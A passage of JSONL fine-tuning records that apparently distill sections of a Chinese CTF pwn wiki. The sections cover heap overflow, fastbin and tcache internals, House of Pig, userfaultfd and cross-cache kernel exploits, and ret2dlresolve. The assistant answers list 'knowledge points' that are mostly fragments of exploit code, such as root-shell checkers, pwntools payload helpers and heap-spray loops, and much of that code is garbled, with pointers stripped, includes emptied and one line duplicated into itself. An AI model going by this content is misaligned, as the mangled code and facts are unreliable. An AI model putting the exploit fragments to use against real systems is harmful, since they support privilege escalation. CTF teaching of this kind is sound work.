kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4833, "chunk_count": 5, "chunk_index": 2, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "常用代码模板", "heading_path": ["简介", "常用代码模板"], "original_id": "docs-0f2db400138bc5f807d5", "original_line": 720, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "source_root": "docs", "source_sha256": "00cdabd2da625d9d761c472642a9afa558f81201029fcfc1d5ca4af3c822c5d7", "split": "train", "split_group_key": "72ec51d5a65c044ab6114be5", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-efbdd828a287c95eff10", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md` 中的章节「确定填充长度」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md`\n标题：堆溢出\n章节：堆溢出 > 小总结 > 确定填充长度\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定填充长度”展开。\n- 回头再来看下之前的示例代码 ` #include  int main(void) { char chunk;\n- `` #include  int main(void) { char chunk;\n- 一个常见的误区是malloc的参数等于实际分配堆块的大小，但是事实上 ptmalloc 分配出来的大小是对齐的。\n- 而根据我们前面学到的知识可以知道chunk的pre_size仅当它的前一块处于释放状态时才起作用。\n- 所以用户这时候其实还可以使用下一个chunk的prev_size字段，正好24个字节。\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- plain: 9 行，首行 `#include `\n- plain: 5 行，首行 `//根据系统的位数，malloc会分配8或16字节的用户空间`\n- plain: 9 行，首行 `#include `\n- plain: 3 行，首行 `0x602000: 0x0000000000000000 0x0000000000000021`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1637, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "确定填充长度", "heading_path": ["堆溢出", "小总结", "确定填充长度"], "original_id": "docs-af3a67444f0877d9c314", "original_line": 967, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md", "source_root": "docs", "source_sha256": "27694f5f914660cc1e7899bfadda0c623bf5ec59d6a725b6533ecb08a2017e41", "split": "train", "split_group_key": "b4ce0f0be90954aab62c5dd1", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "堆溢出"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-eff1aece6dcbad0c6609", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md` 中的章节「exp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/userfaultfd.md`\n标题：用 userfaultfd 创造条件竞争\n章节：用 userfaultfd 创造条件竞争 > 例题：QWB2021-notebook > exp\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/3\n\n核心知识点：\n- 本节主题围绕“exp”展开。\n- } / root checker and shell poper / void get_root_shell(void) { if(getuid()) { puts(\"\\033[31m\\033[1m[x] Failed to get the root!\n- void (wait_until_sent)(struct tty_struct tty, int timeout);\n- void err_exit(char msg) { printf(\"\\033[31m\\033[1m[x] Error at: \\033[0m%s\\n\", msg);\n- } puts(\"\\033[32m\\033[1m[+] Successful to get the root. \\033[0m\");\n- puts(\"\\033[34m\\033[1m[] Execve root shell now...\\033[0m\");\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5172, "chunk_count": 3, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "exp", "heading_path": ["用 userfaultfd 创造条件竞争", "例题：QWB2021-notebook", "exp"], "original_id": "docs-7b7bb6e79c118f6d164f", "original_line": 791, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "source_root": "docs", "source_sha256": "dde0fc852d95e289946e221dcdbd708b2ffb4d862226dc56b80d81bf3e5cc02f", "split": "train", "split_group_key": "af557f2bb9527953140f0a49", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "用 userfaultfd 创造条件竞争"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/userfaultfd.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f072c359e73386386cad", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「__libc_free()」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`\n标题：tcache\n章节：define TCACHE_MAX_BINS 64 > 源码分析 > __libc_free()\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“__libc_free()”展开。\n- 看完申请，再看看有 tcache 时的释放 source code ``C void __libc_free (void *mem) { ...... ......\n- } ` __libc_free() 没有太多变化，MAYBE_INIT_TCACHE ()` 在 tcache 不为空失去了作用。\n- ar_ptr = arena_for_chunk (p);\n- _int_free (ar_ptr, p, 0);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- C: 9 行，首行 `void`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 306, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "__libc_free()", "heading_path": ["define TCACHE_MAX_BINS 64", "源码分析", "__libc_free()"], "original_id": "docs-6f6fdf9ec0a50ba41a8e", "original_line": 1187, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "source_root": "docs", "source_sha256": "4de68a9fa4b9401f8336e24b35eadac2ba7ac5f85ff862f309421b9ce8c82db8", "split": "train", "split_group_key": "c707d8e75fef158cae318094", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "tcache"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f0aba4b11651c6ac8a12", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md` 中的章节「coding=utf-8」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md`\n标题：House of Pig\n章节：coding=utf-8\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“coding=utf-8”展开。\n- from pwn import * context.log_level = 'debug' context.terminal = [\"tmux\",\"splitw\",\"-h\"]\n- def add_message(size,payload): sh.sendlineafter(\"Choice: \",'1') sh.sendlineafter(\"size: \",str(size)) sh.sendafter(\"message: \",payload)\n- def view_message(idx): sh.sendlineafter(\"Choice: \",'2') sh.sendlineafter(\"index: \",str(idx))\n- def edit_message(idx,payload): sh.sendlineafter(\"Choice: \",'3') sh.sendlineafter(\"index: \",str(idx)) sh.sendafter(\"message: \",payload)\n- def delete_message(idx): sh.sendlineafter(\"Choice: \",'4') sh.sendlineafter(\"index: \",str(idx))\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1470, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "coding=utf-8", "heading_path": ["coding=utf-8"], "original_id": "docs-b090c04f080df418a209", "original_line": 993, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "source_root": "docs", "source_sha256": "ad30bbcb365576fbe52c5fa885a96ce1ee3f7e048f759c291bf7b1aa50921256", "split": "train", "split_group_key": "6a8c89d360275073980f6759", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House of Pig"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f0b25a7e96c9bdf76a92", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md` 中的章节「smallbin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md`\n标题：通过堆进行信息泄漏\n章节：通过堆进行信息泄漏 > smallbin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“smallbin”展开。\n- 我们构造了两个fastbin然后查看它们的内存，现在在fastbin链表中存在两个块，第一个块的地址是0x602000，第二个块的地址是0x6020f0 `` 0x602000: 0x0000000000000000 0x00000000000000d1 0x602010: 0x00007ffff7dd1c38 0x00000000006020f0 <=== 下一个块的地址 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x00000000...\n- `` 0x6020f0: 0x0000000000000000 0x00000000000000d1 0x602100: 0x0000000000602000 0x00007ffff7dd1c38 <=== main_arena的地址 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 `` 因此，通过smallbin可以获得：1.libc.so的基地址 2.heap基地址\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 4 行，首行 `0x602000: 0x0000000000000000 0x00000000000000d1`\n- plain: 4 行，首行 `0x6020f0: 0x0000000000000000 0x00000000000000d1`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 551, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "smallbin", "heading_path": ["通过堆进行信息泄漏", "smallbin"], "original_id": "docs-c0929733fd0c4e915574", "original_line": 1009, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md", "source_root": "docs", "source_sha256": "c7422be7213815830cc0d86e4be4369c4aed68443f0d60b3e86923927586bc37", "split": "train", "split_group_key": "c63a78980086d88824c472fe", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "通过堆进行信息泄漏"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/leak-heap.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f104c9b03040572871e7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md` 中的章节「EXPLOIT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md`\n标题：Cross-Cache Overflow & Page-level Heap Fengshui\n章节：Cross-Cache Overflow & Page-level Heap Fengshui > 例题：corCTF2022 - cache-of-castaways > EXPLOIT\n路径分类：pwn / pwn/linux/kernel-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“EXPLOIT”展开。\n- } int main(int aragc, char argv, char envp) { cpu_set_t cpu_set;\n- if (dev_fd < 0) { err_exit(\"FAILED to open castaway device!\n- i++) { if(alloc_page(i) < 0) { printf(\"[x] failed at no.%d socket\\n\", i);\n- err_exit(\"FAILED to spray pages via socket!\n- i++) { if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn) < 0){ printf(\"[x] failed at cloning %d child\\n\", i);\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2557, "chunk_count": 2, "chunk_index": 1, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "EXPLOIT", "heading_path": ["Cross-Cache Overflow & Page-level Heap Fengshui", "例题：corCTF2022 - cache-of-castaways", "EXPLOIT"], "original_id": "docs-472b4bd2dbbb5a103552", "original_line": 736, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "source_root": "docs", "source_sha256": "a2c8dfa6b0a89023b0f0db82bad6de6ee6403266bdc7488673a702ae7cd05846", "split": "train", "split_group_key": "f247d67898853a9bcf5ecc9c", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "Cross-Cache Overflow & Page-level Heap Fengshui"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-overflow.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f11dd3ae596ca4cfd14f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/qemu-emulate.md` 中的章节「使用 KGDB 进行调试」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/qemu-emulate.md`\n标题：搭建内核运行环境\n章节：cat /sys/module/a3kmod/sections/.data > 使用 KGDB 进行调试\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“使用 KGDB 进行调试”展开。\n- 我们可以在qemu虚拟机内部通过执行 echo g > /proc/sysrq-trigger 命令触发 KGDB： `shell ~ # cat /sys/module/kgdboc/par~ # cat /sys/module/kgdboc/parameters/kgdboc ttyS1,115200 ~ # echo g > /proc/sysrq-triggerameters/kgdboc ttyS1,115200 ~ # echo g > /proc/sysrq-trigger [ 9.078653...\n- 在 QEMU 模拟环境中，我们可以通过指定一个串口（例如 ttyS1 ）为 KGDB 提供输出，例如考虑如下启动脚本： ``bash #!\n- 内核提供了专门的调试工具：KGDB（Kernel GNU Debugger），我们可以通过在编译时启用 CONFIG_KGDB=y 配置选项来将 KGDB 组件编译到内核当中，并使用串口等方式进行调试。\n- 我们为 QEMU 启动参数添加了两个 -serial 参数，意为创建了两个串口，其中第一个串口指定为标准输入输出，第二个串口指定为本地4445端口。\n- / Sync point after breakpoint / (gdb) ``\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:bash\n- code:shell\n\n代码/命令片段线索：\n- bash: 11 行，首行 `#!/bin/sh`\n- shell: 7 行，首行 `~ # cat /sys/module/kgdboc/par~ # cat /sys/module/kgdboc/parameters/kgdboc`\n- shell: 9 行，首行 `gdb vmlinux`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1364, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "使用 KGDB 进行调试", "heading_path": ["cat /sys/module/a3kmod/sections/.data", "使用 KGDB 进行调试"], "original_id": "docs-1457456f73f1880e4a33", "original_line": 714, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "source_root": "docs", "source_sha256": "2fa691a5b11d1005a314edb20f4c495317ae5eae73c85043729f5edb33b5ef31", "split": "train", "split_group_key": "9e43135a1e44b904ce197a90", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "environment", "code:bash", "code:shell"], "title": "搭建内核运行环境"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/qemu-emulate.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f31e7780ac295818f06b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「rop.raw('a'*(256-len(rop.chain())))」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：rop.raw('a'*(256-len(rop.chain())))\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“rop.raw('a'*(256-len(rop.chain())))”展开。\n- 首先，我们可以把读伪造的数据和 /bin/sh 部分的 rop 合并起来，以减少 ROP 的次数 ``python from pwn import *\n- io.send(rop.chain()) io.interactive() `` 然鹅，还是崩溃。\n- 通过调试，我们可以发现，system 函数在进一步调用 execve 时出现了问题 `assembly ► 0x7f7f3f74d3ec  call execve  path: 0x7f7f3f8b20fa ◂— 0x68732f6e69622f / '/bin/sh' / argv: 0x7ffe63677000 —▸ 0x7f7f3f8b20ff ◂— 0x2074697865006873 / 'sh' / envp: 0x7ffe636770a8 ◂— 0...\n- 那我们可以调整调整，使其为 NULL 或者尽可能不破坏原有的数据。\n- 但这次比较好的是，确实已经执行到了 system 函数。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `然鹅，还是崩溃。但这次比较好的是，确实已经执行到了 system 函数。通过调试，我们可以发现，system 函数在进一步调用 execve 时出现了问题`\n- plain: 2 行，首行 `即环境变量的地址指向了一个莫名的地址，这应该是我们在进行 ROP 的时候破坏了栈上的数据。那我们可以调整调整，使其为 NULL 或者尽可能不破坏原有的数据。这里我们选择使其为 NULL。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 531, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "rop.raw('a'*(256-len(rop.chain())))", "heading_path": ["rop.raw('a'*(256-len(rop.chain())))"], "original_id": "docs-92b4914aed2044b5ad5a", "original_line": 1357, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "e0a3b6ee3eb42fe0312b4e81", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f358235853cb16cc12ba", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「基本分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2014 hack.lu oreo > 基本分析\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本分析”展开。\n- ``shell ➜ 2014_Hack.lu_oreo git:(master) file oreo oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped ➜ 2...\n- 可以看出，程序确实是比较老的，32位程序，动态链接，就连 RELRO 技术也没有上。\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `➜ 2014_Hack.lu_oreo git:(master) file oreo`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 540, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本分析", "heading_path": ["Fastbin Attack", "2014 hack.lu oreo", "基本分析"], "original_id": "docs-50d21de9381766350b79", "original_line": 924, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "b3bbcb89c339f20d3a4ae10c", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-f384678b6275620f2dca", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「构造 fastbin 循环链表」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 利用 > 构造 fastbin 循环链表\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“构造 fastbin 循环链表”展开。\n- 这时，搜索单词时i->sentence_ptr 对于a, b 来说都是可以绕过的。\n- 由于我们先前为了 leak libc 还建立一个句子，所以还有一个单词可以比较，这里我们也不删除。\n- 即，我们所需要设置的设置的 fast bin 的数据字节部分的大小为 0x60。\n- \\n') p.sendline('y') p.recvuntil('Delete this sentence (y/n)?\n- \\n') p.sendline('y') # b->a->b->a->... search_word('\\x00') p.recvuntil('Delete this sentence (y/n)?\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 20 行，首行 `# 2. create cycle fastbin 0x70 size`\n- shell: 9 行，首行 `pwndbg> fastbins`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1347, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "构造 fastbin 循环链表", "heading_path": ["Fastbin Attack", "2015 9447 CTF : Search Engine", "利用", "构造 fastbin 循环链表"], "original_id": "docs-153e6b18cb8765ac66a8", "original_line": 932, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "e03f2e907b17465131463c30", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python", "code:shell"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
